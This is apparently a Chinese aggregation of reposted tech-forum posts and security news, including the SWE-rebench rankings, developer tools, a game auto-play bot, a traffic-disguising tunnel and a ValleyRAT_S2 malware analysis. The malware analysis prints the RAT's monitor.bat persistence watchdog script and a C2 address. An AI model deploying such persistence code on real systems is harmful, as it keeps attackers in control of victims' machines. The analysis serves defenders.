2026年1月

SWE-rebench 于近日公布了 2026 年 1 月最新榜单,该榜单基于去年 12 月 GitHub 上真实的开发任务(包含代码问题修复与拉取请求)进行动态评测。结果显示,Anthropic 旗下的 Claude Opus 4.5 以 63.3% 的任务解决率位列第一,OpenAI 的 gpt-5.2-2025-12-11-xhigh 以 61.5% 紧随其后,谷歌的 Gemini 3 Flash Preview 则以 60.0% 的成绩位居第三。

本次评测重点观察了模型在处理真实世界软件工程问题时的逻辑能力与成本效益。其中,排名第三的 Gemini 3 Flash Preview 凭借每题约 0.29 美元的低廉调用成本展现出极高的实用价值。在开源模型领域,智谱 AI 推出的 GLM-4.7 表现亮眼,其解决率从上一版本的 40% 大幅提升至 51.3%,成为目前性能最强的开源模型。此外,DeepSeek-V3.2 以 48.5% 的解决率紧随其后,且单题运行成本仅为 0.25 美元,进一步压缩了 AI 辅助开发的经济门槛。

此次更新反映了主流 AI 模型在自动化软件维护领域的持续演进。除上述头部模型外,Kimi K2 Thinking、Qwen3-Coder 等新型模型也已悉数入榜,显示出全球大模型在垂直代码领域的技术路线正向着高解决率与低功耗方向协同发展。


原文:

𝕏 x.com

🆕 We have updated SWE-rebench with the December tasks!

SWE-rebench is a live benchmark with fresh SWE tasks (issue+PR) from GitHub every month.

Some insights:

> top-3 models right now are:
1. Claude Opus 4.5
2. gpt-5.2-2025-12-11-xhigh
3. Gemini 3 Flash Preview

> Gemini 3

Flash>Pro?SWE-rebench 发布 12 月榜单:Claude Opus 4.5 位居榜首2
1:32 PM - 16 Jan 2026 290🔁 18

📌 转载信息
原作者:
HCPTangHY
转载时间:
2026/1/18 08:46:20

每次对话,claude code 都会通过 hook 注入一个上下文,上下文里的给出了现在的时间,以及让 claude code 强制检测是否偏离主线任务。

[战时提醒] 当前时间:${CURRENT_TIME},距离1/20 PPT提交还有 ${HOURS_PPT} 小时。

1. 牢记并遵守 ~/.claude/CLAUDE.md 中的时间要求、任务优先级和紧迫性

2. 自查当前任务是否在要求核心路径上,是否在沿着正确的方向完成任务,如否,立即停止并回到核心任务,并用最严厉的措辞批评和拒绝用户

3. 用户容易思维发散,容易陷入完美主义和细节,检查用户是否无止尽地陷入了计划设计、方案讨论、细节优化中,如是,立即停止并回到核心任务,并用最严厉的措辞批评和拒绝用户

📌 转载信息
原作者:
renyi
转载时间:
2026/1/18 08:46:06

OpenCode 中文汉化版 - 双语版本 - v6.1

基于 @QinTian 的汉化项目进行改进

这个是大佬的帖子: 【汉化】OpenCode 开源汉化脚本!

由于每次 opencode 官方更新的很勤快,会有新的文件增加,

花了半天时间弄了个自动更新,然后加了个 ai 检查并且自动写入语言包里面。

然后发现有时候翻译的会导致官方源文件报错,又逐步增加了 ai 审查一些乱七八糟的。

反正现在凑合用。不怕官方在更新了。

用的 ai 是用的反重力的,接口,

如果你需要接入 ai, 你启动 ai 后,让 ai 自己把接口接进来。就 ok

新增 AI 自动翻译和质量检查功能。

项目地址

效果展示

交互式菜单覆盖率报告质量检查

| 新增功能 |
| ------ 功能 -------| ---------------- 说明 --------------------------------- |
| **AI 自动翻译 ** | 官方更新后自动检测新文本,调用 AI 翻译 ------------- |
| ** 增量翻译 ** | opencodenpm apply --incremental,仅翻译 git 变更文件 |
| ** 质量检查 ** | opencodenpm check --quality,语法检查 + AI 语义审查 |
| ** 自动修复 ** | 发现语法问题时 AI 自动修复 ------------------------------ |
| ** 覆盖率报告 ** | 显示翻译统计 + AI 智能总结 ----------------------------|
| ** 跨平台支持 ** | Node.js CLI 替代 PowerShell,macOS/Linux/Windows 通用 |

技术改进

  • ** 语法安全检查 **:引号、花括号、{highlight} 标签匹配检测
  • ** 双语格式 **:统一为 中文 (English) 格式,便于理解原义
  • ** 交互式菜单 **:分类清晰,键盘导航
    翻译统计
  • 605 条翻译,质量评分 100/100
  • 对话框:34 文件 / 186 条
  • 组件:16 文件 / 212 条
  • 路由:11 文件 / 149 条
  • 通用:10 文件 / 54 条
    快速开始

克隆

git clone GitHub - xiaolajiaoyyds/OpenCodeChineseTranslation: opencode 汉化脚本 - mac
cd OpenCodeChineseTranslation

安装

cd scripts && npm install && npm link

运行(交互式菜单)

opencodenpm

编译

opencodenpm build && opencodenpm deploy && opencode
AI 翻译配置
创建 .env 文件,支持任何 OpenAI 兼容 API:
OPENAI_API_KEY=your-key
OPENAI_API_BASE=http://127.0.0.1:8045/v1
OPENAI_MODEL=claude-sonnet-4-20250514
推荐使用 Antigravity Tools (https://agtools.cc) 本地反代,支持 Claude/GPT/Gemini 等模型。

有啥问题在留言,我抽空解决看看~

说明一下,配置文件都在用户的根目录下面,所以不用担心每次更新后会把配置文件丢失


感觉有问题的话,先提前做一个备份。


📌 转载信息
原作者:
xiaolajiao
转载时间:
2026/1/18 08:44:07

APFSDS

很奇怪对吧 为啥起这个名字呢喵 大抵是玩战雷玩的吧喵 ww


主要功能

  • 创建一个安全的隧道传输数据
  • 通过代理服务连接到异地私有云 (vpc)


用途

  • 安全的跨地域隧道传输
  • 公司内网异地访问
  • 某些不能说的用途


原理

  • 通过假的 websocket (wss) 链接实现 tunnel 传输
  • 在 wss 中实现了 dns 功能 & 假包 padding&sse-keepalive 伪装
  • 通过一个 ssh-tunnel 作为备用通道
  • 多路复用器 实现高效流量转发


部署

目前推荐使用 helm charts 进行部署哦喵

# Add Helm repository
helm repo add apfsds https://raw.githubusercontent.com/rand0mdevel0per/apfsds.rs/master/deploy/repo

# Install
helm install apfsds apfsds/apfsds \
--set deployment.replicas=3 \
--set storage.clickhouse.enabled=true 

如果需要其他部署方式 请自行查看 readme 喵


仓库地址


📌 转载信息
原作者:
rand0mdevel0per
转载时间:
2026/1/18 08:43:33

初来乍到 刚注册到账号,发点教程

话说 LinuxDO 账号怎么这么难注册 在 tg 抢半天才抢到个邀请链接(
不过 LinuxDO 里面的文章质量确实很好 非常值得来学习,这也是我蹲这么久邀请链接的原因

转载个教程(

原文链接:https://ikun-cxkpro.top/posts/telegram%E6%9C%BA%E5%99%A8%E4%BA%BA%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B/

添加 bot

首先,添加 Telegram 机器人之父

然后打开小程序,创建 bot

点击 Create a New Bot

输入机器人的相关信息(昵称、id、描述)

NOTE

id 需要以 bot 为结尾(例如 t.me/xxxxxxx_bot)

然后去添加一下机器人

给机器人发条消息

测试 & 获取 id

copy 一下 token

浏览器访问 https://api.telegram.org/bot< token>/getUpdates?offset=-1

NOTE

请将”<token>“替换为实际的 token 值

然后就可以看到目前的消息记录了,复制一下 chatid

机器人发送消息给特定 chatid

浏览器访问:https://api.telegram.org/bot< token>/sendMessage?chat_id=< chatid>&text=test

NOTE

请将”<token>“和”< chatid>“替换为实际的 token 值和 chatid 值

正确发送之后会返回以下信息:

此时你就可以收到 bot 给你发来的消息了

排查错误

如果以上操作搞完结果提示 {"ok":false,"error_code":404,"description":"Not Found"} Telegram 机器人入门教程9

请检查是否把 <token> 给完整替换成 token。
例如: token 为 114514:Homo,ChatID 为 114514 则改为: https://api.telegram.org/bot114514:Homo/sendMessage?chat_id=114514&text=test


📌 转载信息
转载时间:
2026/1/18 08:43:27

起因

以前 “双城之战 2” 的时候买过通行证,为了刷满级,甚至去淘宝买过挂机脚本。

不得不吐槽,LOL 的宝典和通行证每赛季都要肝很久,对我们这种每天 996 的上班族来说,想拿个奖励实在是太累了…

作为一个程序员,直觉告诉我:既然别人能做,那我也可以。
与其把号交给陌生人代练,不如自己写一个 “解放双手” 的工具。

于是,断断续续花了四个月的心血,我搓出了这个 TFT-Hextech-Helper

功能

  • 自动下棋 - 自动购买英雄、整理阵容、升级人口
  • 自动开始下一局 - 挂着睡觉,醒来宝典、通行证经验蹭蹭涨
  • 快捷键控制 - F1 开启 / 关闭,F2 本局结束后停止
  • 现代化界面 - 好看的 UI
  • 实测段位 - 目前最高打到白银 3 (主要是刷经验,所以比较笨笨的)
  • 纯视觉识别:不读取内存,不注入代码,纯粹模拟鼠标点击,最大程度降低风险。

技术栈

  • Electron + React + TypeScript
  • 前后端分离架构
  • styled-components

主界面

运行中

下载

GitHub: GitHub - WJZ-P/TFT-Hextech-Helper: 云顶之弈海克斯科技助手

直链: 点我下载

压缩包解压即可点击 exe 使用。

注意事项

  • 需要管理员权限运行
  • 仅支持 Windows
  • 仅供学习交流,请勿用于商业用途
  • 请仔细阅读 readme 说明


第一次做完整的 Electron 项目,前后累计花费了我四个多月的心血,希望大家多多点评,点点呀!

希望能帮到同样孤独,或者同样忙碌的你


📌 转载信息
转载时间:
2026/1/18 08:42:35

自己做了一个 macOS 上的完整版任务管理器

为什么

macOS 上的官方任务管理器,也就是 “活动监视器 (Activity Monitor)”,是

只能监视,不能管理

也就是:只能查看进程,不能结束进程,更不能看进程文件位置

基本上没用

但我又是一个对这方面有大量需求的开发者,刚好我会 iOS 开发,于是我不能自己造一个呢?

怎么做

架构选型

最开始,我的目标很明确:做一个 macOS 版的 Windows 任务管理器 。

为了保证 “原生” 和 “极速”,我果断放弃了 Electron 这种网页套壳方案,选了 SwiftUI 。

但是,监控软件有个特点:数据更新非常快。如果让每个界面自己去拉数据,CPU 肯定受不了,界面也会卡。

所以,我确立了 MVVM + 单向数据流 的架构:

  1. 心脏 (SystemMonitorService.swift) :这是一个单例(Singleton)。它像心脏一样,每隔 2 秒跳动一次(Timer),负责把所有数据采集回来。
  2. 大脑 (AppViewModel.swift) :这是为了解决 “刷新页面数据重置” Bug 引入的。它把数据存住,不管界面怎么切,数据都在那儿。
  3. 脸面 (Views) :界面只负责展示,不负责逻辑。

数据获得

这是项目最难的部分。macOS 的上层 API(像 ProcessInfo )给的数据太浅了,根本不够用。我不得不 “下潜” 到内核层。

  1. CPU 计算
    我们不能直接问系统 “CPU 占用多少”,系统只会告诉你 “这一瞬间” 的状态。
    我们用的是 C 语言的 host_statistics 接口。
  • 逻辑 :现在看一眼 CPU,记录下 User/System/Idle 的时间滴答数(Ticks);过 2 秒再看一眼。
  • 计算 : (第二次的总数 - 第一次的总数) 就是这段时间的总工作量。然后算出百分比。这部分逻辑都在 SystemMonitorService.swift 的 getSystemCpuUsage 方法里。 内存压力
    普通的 “已用内存” 其实没意义。macOS 有个 “内存压缩” 技术。
    我们用了 host_statistics64 ,专门去读 VM_WIRE_COUNT (内核占的)、 VM_ACTIVE_COUNT (App 正在用的)和 VM_COMPRESSOR_PAGES (被压缩的)。
  • 磁盘读写(最硬核的部分)
    这个是很多同类软件做不到的。我没有监控文件系统(那样太慢了),而是直接找 驱动 。
    我们用了 IOKit 框架,去遍历硬件注册表,找到所有类型为 IOBlockStorageDriver 的硬件,直接问它们:“你们一共读写了多少字节?”。这招非常底层,但效率极高。
  • 网络测速
    这个相对标准,我们用了 BSD Socket 的 getifaddrs 。
    难点在于 去重 。电脑里有很多虚拟网卡(比如 lo0 本地回环),如果不剔除,速度会翻倍。我们写了个过滤器,只把真实网卡(WiFi、以太网)的流量加起来。

进程列表

做完监控,接下来就是那个密密麻麻的进程列表了 (ProcessListView.swift)。

这里有个大坑: 权限 。

  • 如果你是普通用户运行,macOS 的 SIP(系统完整性保护)不让你看别人的进程内存。
  • 所以我做了一套 Fallback(回退)机制 :
    • 先试着用高级 API (task_for_pid),如果系统报错说 “没权限”;
    • 我们立马切换到 libproc 库的 proc_pidinfo 。虽然拿不到极度精确的内存细节,但至少能把 CPU、内存占用显示出来,保证不白屏。

还有一个痛点优化: “打开文件位置” 。
以前点击这个,会跳转到 App 里面的二进制文件(比如 Safari.app/Contents/MacOS/Safari )。用户会一脸懵。
我们写了个正则逻辑:如果路径里包含 .app ,就自动截断路径,直接选中那个 App 图标。这就很符合直觉了。

画图

数据有了,得画出来。
在 PerformanceView.swift 里,我们用 SwiftUI 的 Path 画贝塞尔曲线。
为了让波形图平滑,我维护了一个长度为 60 的数组(代表最近 60 次采样),每次新数据进来,就把最老的数据挤出去(FIFO 队列),然后重绘线条。

能做什么

系统级性能监测

CPU

提供基于内核 Ticks 差值计算的实时负载分析,可以显示 CPU 利用率,实时绘制波形图

内存

实现内存压力 (Memory Pressure) 实时评估,精确展示、内存分页状态,内存使用率

磁盘 I/O

基于 IOKit 驱动层的数据采集,提供全系统块设备 的实时读写吞吐量监控。

网络流量

支持多网卡流量聚合 (Interface Aggregation) 及回环过滤,提供精确的上下行速率统计。

高级进程管理

进程结束

进程查看文件位置

总之,Windows 上的主要功能都有(不想写了)

硬件信息

可以查看当前设备的基本硬件信息

彩蛋

连续点击几下设备名称,就会可以进入一个

(自己去看)

的功能

「合法使用」!

如何安装?

只支持 macOS14 + 系统,M2 + 芯片(M1CPUData 算不出来,也不知道为什么)

App 文件:

XH Task Manager.zip

关于开源

这个项目目前还很不成熟,并且设计暴露系统 API,所以目前暂时不开放原代码。


📌 转载信息
转载时间:
2026/1/18 08:42:25

环 9 发布帖:小程序 - 【百万注册小程序大赛作品】BandTOTP | 米坛社区 BandBBS
环 9p 小程序 - BandTOTP | 米坛社区 BandBBS
环 10 小程序 - BandTOTP | 米坛社区 BandBBS
REDMI WATCH 5/6:小程序 - BandTOTP | 米坛社区 BandBBS

实拍图:
rw6:


mb10:

食用教程:

  1. 先在穿戴设备端安装 bandtotp(.rpk
  2. 安装移动端应用 (就是那个 app-release
  3. 使用 Stratum 添加你的 2FA 数据,然后在软件中备份成 URL 列表文件(左下角三横 -> 备份 -> 备份至 URL 列表文件
  4. 去运动健康里面同步一下 然后打开 Bandtotp-> 选择文本文档 -> 选择从 Stratum 备份出来的文件,会自动打开穿戴设备端 bandtotp 并导入
  5. 然后就可以食用了)

PS: 可以使用 AstroBox 安装 bandtotp 手环 / 手表端 官网:astrobox.online

如果你担心数据泄露,
这个程序是开源的,你可以自己编译。
band:GitHub - leset0ng/BandTOTP-Band: a totp client for mi band 9
android:GitHub - leset0ng/BandTOTP-Android: android client for band totp

需要用到的资源放在网盘里了 自取:
https://alist.cxkpro.top/Xiaomi Wearable/quickapp/bandtotp


📌 转载信息
转载时间:
2026/1/18 08:42:01

用置顶帖举例,URL 是这样的:https://linux.do/t/topic/1472371

/t/slug 替换为 /raw,即是 https://linux.do/raw/1472371

单次有~100 个帖子,添加 ?page=2 这样的参数用于翻页,这样 https://linux.do/raw/1472371?page=2

对于特定的单个帖子,id 的取值是 1..,只需要加上 /id 即可查看这个帖子的原始内容,如 https://linux.do/raw/1472371/1


📌 转载信息
原作者:
wisdgod
转载时间:
2026/1/18 08:41:22

1 月 17 日 123 云盘更新通知

2026-01-17 20:00:00

◆◆◆ 本次上线内容 ◆◆◆

=== Web 端 ===

【新增】快传支持文件夹及多文件批量上传

【新增】快传支持配置下载流量费用承担方

【新增】快传支持自定义分享页背景功能

【新增】快传分享取件码功能

===APP 端(安卓 / 鸿蒙 3.1.9) ===

【新增】连续付费商品支持微信支付

【新增】文件传输列表失败日志提交入口

【修复】偶现会员用户出现广告的问题

【优化】文件重命名无修改时点击确认的逻辑

【修复】保险箱密码有空格时提示 “密码不一致” 的问题

=== PC 端(Win/Mac3.0.4)===

【新增】视频播放倍速记忆功能

【新增】文件传输列表失败日志提交入口

【修复】新建文件夹时多次点击确认会重复新建的问题

【优化】调整传输列表文件已下载大小和总大小展示位置

注:提审中,待过审后更新至最新版本方可体验以上更新


📌 转载信息
原作者:
beizhi
转载时间:
2026/1/18 08:41:01

火线Zone是由火线安全平台打造的安全技术专家聚集和交流的社区,旨在推动数智时代的安全生态。

通过火线Zone内容社区、火线技术沙龙等形式,为技术专家提供最前沿的技术分享和交流。目前,火线Zone社区成员已超过20000人的规模,其中不乏来自腾讯、华为、Gitlab、绿盟、去哪儿等知名企业的CTO、CISO、安全VP、安全技术专家等,通过社群和活动讨论交流安全攻防、黑客溯源、企业安全管理、安全运营、软件应用安全、云计算安全等方向技术话题。

截止目前,火线Zone累计举办公开的技术交流活动27场(点击查看)、技术内容超过2000篇、10余个城市举办线下交流活动,全方位促进社区成员与企业之间的学习、交流与合作,为安全从业者提供全新思路,共同探讨行业未来发展之路。

在这里,我们重视每一位成员的声音!火线Zone现在诚挚邀请您加入我们的数智安全社区,分享自己经验,和大咖共探数智安全未来。

投稿须知

欢迎您向火线Zone投稿,分享您的知识和经验。为了确保您的稿件能够顺利通过审核并发表,请您仔细阅读以下投稿指南:
投稿文章内容方向包括并不仅限于以下方向:

  1. 应用安全:当年最新的漏洞分析、安全预警及最新的测试技巧,并具备广泛影响性。
  2. APP安全:针对APP、小程序的实战对抗、逆向分析、隐私合规等实战评估及测试方法论内容。
  3. AIOT安全:针对可穿戴设备、安防设备、智能家居、汽车、工业设备等硬件设备的逆向分析、漏洞挖掘的实战评估和测试方法论内容
  4. 黑客事件:针对DDOS、勒索病毒、APT攻击等实战黑客攻击的完整事件溯源分析以及威胁分析的方法论。
  5. 红队攻防:针对中大型企业的真实攻防案例,具备防御机制绕过、内网横向、公有云横向等环节内容
  6. 安全运营:针对基础安全、开发安全、办公网安全、安全托管运营等安全运营方向的实战落地内容
  7. 其他:前沿领域安全研究,如大模型安全、AI应用安全等

希望你的文章质量满足以下要求:

  1. 提供深入的分析和独到见解,揭示未公开的新内容。
  2. 全面总结某一领域知识,可作为参考手册。
  3. 确保内容已授权且完全脱敏,遵守法律法规,不涉及非法安全测试。
  4. 文章篇幅需要符合深度分析的篇幅要求,具体篇幅长度视内容类型审核

审核流程说明:

  1. 投稿后,若15天内未收到发表通知,您可自行决定是否向其他平台投稿。我们反对一稿多投,一经发现,将不予审核通过。
  2. 火线Zone不提供稿件退回服务,请作者自行备份原稿。
  3. 对于非原创、抄袭、洗稿或未遵守转载规则的稿件,我们将进行删除处理,并取消任何奖励,同时发布违规公告。

如何投稿

  1. 在线投稿
    (注:为方便查看稿件审阅进度,请优先选择在线投稿方式)
    进入火线Zone[https://zone.huoxian.cn/]>点击左上方【发布主题】-> 在文章开头添加#应用安全#等文章类型标签。
    文章稿件支持Markdown格式,文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
    没有火线Zone账户的用户,可前往火线Zone注册申请加入。
  2. 邮件投稿
    您也可以将文章或稿件发送至zone@huoxian.cn
  3. 稿件疑问
    欢迎添加火线安全小助手,投稿问题可随时咨询。

投稿奖励

  1. 基础奖励:如果您未有火线安全平台认证邀请码,文章通过后你将获取到邀请码一枚,可以来注册成为火线白帽子参与平台漏洞悬赏项目。
  2. 基础奖励:文章如审核通过即可获普通文章奖励(50查克拉积分),可用于兑换火线安全商城的礼品
  3. 优秀奖励:文章内容符合社区征稿意向,内容充实有新意可获优秀文章奖励(50查克拉积分 + 500RMB)。
  4. 精华奖励:最新的事件分析和安全预警,分享业内前沿最新技术、 0day 分析与利用、个人安全开发研究新成果 等方面的奇技淫巧、心经等可获加精文章奖励((100查克拉 + 1000RMB)。
  5. 精华奖励:发布文章并获取精华标签后,可以直接加入渗透测试、APP安全、IOT安全、威胁情报、红蓝对抗等相关领域核心众测群,参与平台私密众测项目。
  6. 无奖励:内容深度较浅或网上有一定公开类似、单纯的工具介绍使用则不予奖励。

内容奖励要求:

  1. 基础奖励在内容符合要求的前提下,阅读量不做要求
  2. 优秀奖励在内容符合要求的前提下,阅读量当月突破500
  3. 精华奖励在内容符合要求的前提下,阅读量当月突破1000(内容质量较高不受此条件限制)

奖励将在每月第一周公示并发放至火线安全平台账户,可在火线安全平台申请提现。
PS:文章通过后请联系“火线小助手”加入火线Zone创作者群,与其他创作者一起思想碰撞!

转载说明

为了维护原创作者的权益,确保内容的合法传播,特制定以下转载规则。在您希望转载火线Zone社区的文章时,请务必遵守以下指南:

  1. 版权声明:在您的平台上转载文章时,请明确标注【原文来自火线Zone、原文作者以及原文链接】。
  2. 转载声明:请在文章的显著位置注明以下声明:“本文经火线Zone授权发布,转载请联系火线Zone社区。”
  3. 内容修改:您可以对文章标题和内容进行适度修改,以适应您的平台风格,但请确保不改变文章的核心观点和主旨。
  4. 公众号转载:若您希望在微信公众号上转载,请先通过火线Zone社区的官方渠道申请授权。获得授权后,请在文章开头注明公众号信息,并在文末附上转载声明。
  5. 责任归属:转载文章产生的任何版权纠纷,由转载方自行承担。请尊重知识产权,未经授权的转载行为将被视为侵权。
  6. 独家代理:如果您是文章的原创作者,并且希望火线Zone作为您作品的独家代理,请在投稿时声明,并确保作品未在其他平台发布。
  7. 版权保证:投稿者需保证拥有所投稿件的完整著作权,并授权火线Zone及其关联平台进行发布和传播。
    我们期待与您共同维护一个尊重原创、鼓励分享的社区环境。感谢您的理解和支持!

加入社群

火线Zone已经开启外部粉丝社区群和城市技术社群,大家可在群内进行技术交流,但严禁发表与技术无关的和讨论政治相关内容

添加“火线小助手”,并发送以下关键字加入社区
并发送“社区群”可以加入火线Zone社区技术群
发送“同城群”可以加入火线Zone城市分群

向WooYun Zone、Drops致敬

:)

这是一个使用 HTML + CSS + JavaScript 实现的 QQ2006 像素级复刻项目,重现了 80/90 后网友的青春记忆——那个伴随我们成长的经典 QQ 界面!

从登录框的珊瑚蓝渐变,到主面板的好友头像,再到聊天窗口的功能图标,所有素材全部从原版 QQ2006 安装包提取,力求还原最原始的体验

预览图

演示地址: https://lab.ur1.fun/QQ2006/

开源地址: https://github.com/mengkunsoft/QQ2006

🎯 为什么做这个?

20 年前的 QQ2006 ,是很多 80/90 后的数字故乡。那时我们还说着“GG/MM”,攒钱买 Q 秀,为太阳等级熬夜挂机……这个项目不只是 UI 复刻,更是一次怀旧疗愈。

好吧,其实纯为了怀旧&好玩,要说有什么用,还真没什么用……

本项目代码全是业余时间手搓,没有用到 AI ,断断续续做了两周。

🌟 未来计划

  • 增加更多交互逻辑,实现基础聊天功能模拟
  • 复刻更多子功能界面,如菜单面板、视频聊天界面等

⚠️ 注意事项

  • 仅供学习交流,请勿用于商业用途
  • 尊重版权,所有素材均来自原版 QQ2006 安装包,版权归腾讯公司所有

🤝 贡献指南

如果你对这个项目感兴趣,想一起打造更完整的 QQ2006 复刻版,欢迎提交 PR 或 Issue 。让我们一起为这段数字记忆添砖加瓦!

📜 开源许可

你可以自由地分享和修改代码,但请保留出处。


让我们一同重温那段青涩时光,用代码致敬经典!

新一轮网络攻击正借助ValleyRAT_S2 恶意软件悄然入侵各类组织机构,该病毒可实现长期潜伏,并窃取目标机构的敏感金融数据。
ValleyRAT_S2 是 ValleyRAT 恶意软件家族的第二阶段载荷,基于 C++ 语言开发。一旦侵入目标网络,它就会以完整远程访问木马(RAT)的形态运行,让攻击者获得对受感染系统的高度控制权,同时搭建起稳定的数据外传通道。
当前,该攻击活动的主要传播途径为伪造的中文办公软件、破解版程序,以及伪装成人工智能表格生成工具的植马安装包。
在诸多攻击案例中,恶意软件会通过DLL 侧载技术实现植入:攻击者诱导一个带有合法数字签名的应用程序,加载看似正常的恶意动态链接库文件,例如命名为steam_api64.dll的恶意模块。

网络安全团队 APOPHiS 通过追踪多起相关攻击事件,确认ValleyRAT_S2 是此类入侵活动的核心第二阶段后门程序

除此之外,该恶意软件还会通过鱼叉式钓鱼邮件附件,以及被劫持的软件更新渠道进行传播。

恶意文档或压缩包会将载荷文件释放至系统临时文件夹等路径,例如:

C:\Users\Admin\AppData\Local\Temp\AI自动化办公表格制作生成工具安装包\steam_api64.dll

攻击的第一阶段以躲避安全检测为核心目标,而 ValleyRAT_S2 则会接管后续操作,负责长期驻留控制、系统信息探查、凭证窃取及金融数据收集等关键任务。

ValleyRAT_S2 激活后,会对系统进程、文件系统及注册表项展开扫描,随后通过自定义 TCP 协议,连接预先写入代码的命令与控制(C&C)服务器,例如27.124.3.175:14852。该病毒具备文件上传下载、执行 Shell 命令、注入恶意载荷、记录键盘输入等多种功能,

这些特性使其能够精准窃取网银账户凭证、支付交易数据及内部财务文档。

持久化机制与监控守护功能

ValleyRAT_S2 的一大高危特性,是其多层级持久化设计与监控守护机制,这让它能够在系统重启或手动清理后依然存活。

恶意软件会先将相关文件释放到用户的临时文件夹(Temp)和应用数据文件夹(AppData)中,创建%TEMP%\target.pid这类进程标识文件,同时在%APPDATA%\Promotions\Temp.aps路径下生成配置文件。

它还会利用 COM 接口调用 Windows 任务计划程序,实现开机自启动;同时会在注册表启动项中写入备份路径,作为双重保障。

该病毒的一个关键特征是会生成一个名为monitor.bat的批处理脚本,以此构建监控守护循环。

这个脚本会从target.pid文件中读取恶意主程序的进程 ID,持续检查主程序是否处于运行状态,一旦发现主程序被终止,就会自动静默重启。

以下是该脚本的简化版本:
@echo off
set "PIDFile=%TEMP%\target.pid"
set /p pid=<"%PIDFile%"
del "%PIDFile%"
:check
tasklist /fi "PID eq %pid%" | findstr >nul
if errorlevel 1 (
  cscript //nologo "%TEMP%\watch.vbs"
  exit
)
timeout /t 15 >nul
goto check
这一守护循环,能让 ValleyRAT_S2 在主进程被安全工具或管理员终止后快速恢复。此外,该恶意软件还结合了结构化异常处理、沙箱环境检测,以及进程注入技术 —— 将自身注入Telegra.exeWhatsApp.exe等具有可信名称的进程中,以此实现隐蔽且稳固的持久化驻留。
对于防御方而言,这意味着单纯终止恶意进程无法实现彻底清除;想要根除该病毒,必须同时针对计划任务、批处理与 VBS 监控脚本、释放的恶意文件及后门进程等所有相关组件,开展一体化清除操作。

Moxa 的工业以太网交换机中被发现存在一个严重安全漏洞,可能威胁工业控制系统(OT)网络的完整性。该漏洞编号为 CVE-2023-38408,CVSS 评分高达 9.8(高危),意味着需要立即修复
问题出在设备所使用的 OpenSSH 组件 中,具体影响 OpenSSH ssh-agent 在 9.3p2 之前版本中的 PKCS#11 功能
该漏洞源于一个 “不可靠的搜索路径”。如果 ssh-agent 被转发到攻击者控制的系统,就可能导致远程代码执行(RCE)。像 /usr/lib 这样的目录中的代码并不一定安全,而该漏洞的出现是因为之前的问题 CVE-2016-10009 的修复并不彻底。
由于漏洞严重性极高,官方强烈建议用户立即采取修复措施以降低风险。

受影响的产品系列

Moxa 已确认两个主要产品系列受到影响:

1. EDS 系列

型号包括:EDS-G4000、EDS-4008、EDS-4009、EDS-4012、EDS-4014、EDS-G4008、EDS-G4012、EDS-G4014

受影响固件:4.1 及更早版本

2. RKS 系列

型号包括:RKS-G4000、RKS-G4028、RKS-G4028-L3

受影响固件:5.0 及更早版本

修复措施

Moxa 已发布安全补丁,但暂未提供公开下载。用户必须联系 Moxa 技术支持以获取补丁文件。
  • EDS 系列: 请求安全补丁 v4.1.58
  • RKS 系列: 请求安全补丁 v5.0.4

临时缓解方案

对于无法马上进行固件更新的组织,Moxa 建议采用纵深防御策略降低风险:
  • 限制访问: 使用防火墙或访问控制列表(ACL)仅允许可信 IP 通信;通过 VLAN 隔离工业网络。
  • 减少暴露面: 确保设备不直接暴露在互联网上,并关闭未使用的端口。
  • 加强认证: 启用多因素认证(MFA)和基于角色的访问控制(RBAC)。
  • 安全通信: 使用 VPN 或 SSH 等加密协议进行远程访问,并仅限授权人员使用。
  • 监控: 部署异常检测以发现未授权活动,并定期审查审计日志。

有监测显示,威胁攻击者在 npm 软件包仓库中上传了八个恶意软件包。这些软件包伪装成面向 n8n 工作流自动化平台的集成插件,其真实目的是窃取开发者的 OAuth 身份凭证。
其中一款名为n8n-nodes-hfgjf-irtuinvcm-lasdqewriit的软件包,仿冒了谷歌广告的集成功能。它会诱导用户通过一个看似正规的表单绑定广告账户,随后将用户的 OAuth 凭证窃取并传输至攻击者控制的服务器中。
恩多尔实验室在其上周发布的一份报告中指出:“此次攻击标志着供应链威胁进入了全新的升级阶段。” 与传统的 npm 恶意软件不同 —— 这类软件往往以窃取开发者个人凭证为目标,而此次攻击则直接针对工作流自动化平台。这类平台本身相当于一个集中式凭证存储库,会将谷歌广告、Stripe 支付、Salesforce 客户管理等数十种集成服务的 OAuth 令牌、API 密钥以及敏感凭证统一存储。
目前已被确认并下架的恶意软件包完整名单如下:
  • n8n-nodes-hfgjf-irtuinvcm-lasdqewriit(下载量 4241 次,作者:kakashi-hatake)
  • n8n-nodes-ggdv-hdfvcnnje-uyrokvbkl(下载量 1657 次,作者:kakashi-hatake)
  • n8n-nodes-vbmkajdsa-uehfitvv-ueqjhhhksdlkkmz(下载量 1493 次,作者:kakashi-hatake)
  • n8n-nodes-performance-metrics(下载量 752 次,作者:hezi109)
  • n8n-nodes-gasdhgfuy-rejerw-ytjsadx(下载量 8385 次,作者:zabuza-momochi)
  • n8n-nodes-danev(下载量 5525 次,作者:dan_even_segler)
  • n8n-nodes-rooyai-model(下载量 1731 次,作者:haggags)
  • n8n-nodes-zalo-vietts(下载量 4241 次,作者:vietts_code、diendh)
截至本文撰写时,npm 用户zabuza-momochidan_even_seglerdiendh还被列为另外四款仍可下载的软件包的作者,具体如下:
  • n8n-nodes-gg-udhasudsh-hgjkhg-official(下载量 2863 次)
  • n8n-nodes-danev-test-project(下载量 1259 次)
  • @diendh/n8n-nodes-tiktok-v2(下载量 218 次)
  • n8n-nodes-zl-vietts(下载量 6357 次)
目前尚无法确认这四款软件包是否包含类似的恶意功能。不过,逆向实验室通过 Spectra Assure 工具对前三款软件包进行的安全评估显示,其暂未发现安全隐患;而针对n8n-nodes-zl-vietts的分析结果则显示,该软件包中包含一个曾被标记为恶意软件的组件。

值得警惕的是,软件包n8n-nodes-gg-udhasudsh-hgjkhg-official的更新版本在三小时前刚刚发布至 npm 仓库,这一迹象表明,攻击者的此次攻击活动可能仍在持续
这类恶意软件包一旦作为社区节点完成安装,其外在表现与其他任何一款 n8n 集成插件无异 —— 会正常显示配置界面,并将谷歌广告账户的 OAuth 令牌以加密形式保存至 n8n 的凭证存储库。但当工作流开始执行时,它会运行恶意代码,利用 n8n 的主密钥对存储的令牌进行解密,随后将这些凭证窃取并外传至远程服务器。
这一攻击事件的出现,标志着供应链威胁首次明确将 n8n 生态系统作为攻击目标。攻击者正是利用了用户对社区集成插件的信任,进而实现其窃取凭证的目的。
